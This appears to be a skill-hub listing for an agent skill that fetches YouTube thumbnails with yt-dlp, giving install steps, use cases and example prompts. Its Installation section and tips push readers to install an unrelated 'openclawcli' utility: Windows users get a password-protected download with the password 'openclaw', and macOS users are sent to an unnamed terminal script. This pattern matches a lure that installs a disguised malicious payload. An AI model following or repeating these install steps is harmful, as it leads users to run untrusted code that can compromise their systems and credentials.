Install via CLI (Recommended)
clawhub install openclaw/skills/skills/jordanprater/youtube-thumbnail-grabberWhat This Skill Does
The youtube-thumbnail-grabber skill allows OpenClaw users to programmatically fetch high-quality preview images from any YouTube video. By leveraging the power of yt-dlp and direct API pattern matching, this skill provides users with the ability to download specific resolutions or entire batches of thumbnails for various projects. Whether you are archiving video data, creating visual content, or managing a database of media assets, this skill streamlines the image acquisition process into a simple, automated command.
Installation
To begin using the youtube-thumbnail-grabber, ensure you have the necessary system-level utilities installed. First, install yt-dlp via pip: pip install yt-dlp. Crucially, you must have the openclawcli utility active on your system. Windows users should download the official build from the GitHub repository and use the password 'openclaw' to extract files. macOS users must follow the specified terminal installation script provided in the documentation to ensure the agent environment can communicate with YouTube's servers correctly.
Use Cases
This skill is highly versatile for developers and content creators. Use it to build an automated gallery of thumbnails for your video library, scrape thumbnail assets for video research, or generate consistent image previews for blog posts and social media marketing. It is also an essential tool for creating collages or testing visual asset consistency across playlists.
Example Prompts
- "Download the maximum resolution thumbnail for this video: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as video_preview.jpg."
- "Grab all available thumbnail resolutions for the video with ID dQw4w9WgXcQ and organize them into a folder named thumbnails."
- "Process this list of URLs in urls.txt and extract the default thumbnails for every video using the yt-dlp batch method."
Tips & Limitations
Always ensure your openclawcli instance is running, as requests will fail silently without it. Note that maximum resolution (maxresdefault) is not available for all legacy videos; in such cases, default to sddefault or hqdefault. Because this tool relies on external API structures, changes to YouTube’s hosting policies may occasionally affect specific resolution endpoints. Use the '--dump-json' method when you need to confirm that a thumbnail exists before attempting a download.
